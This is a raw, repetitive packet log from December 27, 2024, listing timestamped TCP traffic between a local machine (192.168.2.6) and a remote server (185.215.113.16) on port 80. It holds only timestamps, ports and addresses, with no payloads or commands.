Dec 27, 2024 08:50:54.756525040 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.756567955 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.756596088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.756629944 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.756650925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.757282019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.757348061 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.757384062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.802962065 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.890877008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.890892982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.890904903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.890917063 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.890928984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.890938997 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.890943050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.890955925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.890964031 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.890969038 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.890989065 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.890995979 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.891015053 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.891036987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.891056061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.891068935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.891073942 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.891115904 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.891237020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.891843081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.891855955 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.891874075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.891884089 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.891905069 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.891978025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.892775059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.892787933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.892798901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.892812014 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.892837048 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.892930031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.893588066 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.893599987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:54.893623114 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:54.943608046 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.022464037 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.022481918 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.022495031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.022533894 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.022572041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.022584915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.022605896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.022614956 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.022641897 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.022744894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.023513079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.023526907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.023545027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.023550987 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.023582935 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.023987055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.024024010 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.024035931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.024063110 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.024143934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.024187088 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.024851084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.024863958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.024878025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.024905920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.025022030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.025068045 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.025752068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.025778055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.025793076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.025820971 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.025876045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.025908947 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.026525021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.026539087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.026567936 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.026598930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.026674986 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.026710987 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.027189016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.027393103 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.027406931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.027421951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.027435064 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.027460098 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.028081894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.028203964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.028215885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.028283119 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.028378010 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.028415918 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.028824091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.028840065 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.028853893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.028877020 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.029113054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.029150009 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.029580116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.029594898 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.029608011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.029630899 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.029870033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.029906034 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.030381918 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.030394077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.030445099 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.030539989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.030560017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.030596018 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.155164957 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.155179977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.155186892 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.155198097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.155230045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.155241013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.155242920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.155256987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.155284882 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.155287981 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.155304909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.155323982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.155327082 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.155338049 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.155366898 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.155436993 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.155860901 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.158080101 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.158091068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.158133984 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.158212900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.158226967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.158292055 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.158966064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.158977985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.158988953 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.159019947 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.159104109 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.159146070 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.159748077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.159764051 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.159778118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.159790993 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.159806013 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.159833908 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.160466909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.160629034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.160640955 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.160659075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.160681963 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.160706043 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.161067963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.161084890 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.161097050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.161123991 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.161211967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.161279917 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.161812067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.161943913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.161956072 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.161968946 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.161988974 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.162024021 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.162405014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.162584066 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.162596941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.162607908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.162621975 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.162648916 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.163361073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.163373947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.163387060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.163414001 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.163505077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.163547993 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.164115906 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.164128065 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.164140940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.164252043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.164339066 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.164864063 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.164875984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.164890051 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.164917946 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.165014029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.165173054 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.165661097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.165678024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.165716887 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.165812016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.165827036 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.165868998 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.166392088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.166404009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.166415930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.166439056 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.166538000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.166615009 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.167253971 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.167265892 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.167284966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.167304039 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.167407036 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.167445898 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.168003082 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.168015003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.168032885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.168073893 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.168158054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.168211937 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.222316980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.222369909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.222383976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.222426891 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.222456932 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.222665071 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.222697973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.222810984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.222850084 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.222975969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.223042965 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.223057985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.223099947 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.223150015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.223193884 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.223795891 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.223854065 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.223866940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.223903894 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.224288940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.224359035 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.224370956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.224522114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.224571943 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.224598885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.224616051 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.224656105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.224662066 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.225389004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.225419044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.225446939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.225461006 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.225467920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.225500107 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.287014961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.287033081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.287051916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.287061930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.287074089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.287076950 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.287087917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.287144899 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.287513018 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.287525892 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.287565947 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.287652016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.287662983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.287699938 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.288075924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.288134098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.288146019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.288182974 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.288197994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.288372040 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.288834095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.288908958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.288921118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.288970947 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.289758921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.289773941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.289784908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.289803982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.289809942 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.289819002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.289832115 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.289861917 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.290424109 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.290564060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.290575027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.290616035 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.355494022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.355511904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.355525970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.355568886 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.355639935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.355693102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.355701923 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.355706930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.355752945 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.355777979 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.356435061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.356506109 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.356518030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.356565952 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.356570005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.357340097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.357357025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.357369900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.357389927 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.357405901 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.357422113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.358006001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.358047962 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.358072042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.358084917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.358134031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.358190060 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.358783007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.358804941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.358815908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.358835936 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.358855009 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.358968973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.359674931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.359687090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.359699011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.359714031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.359740973 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.360426903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.360439062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.360450983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.360476017 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.360502005 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.360555887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.361232042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.361243963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.361257076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.361283064 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.361284971 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.361308098 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.361928940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.361965895 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.361999035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.362011909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.362049103 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:55.362063885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:55.362780094 CET	80	49752	185.215.113.16	192.168.2.6
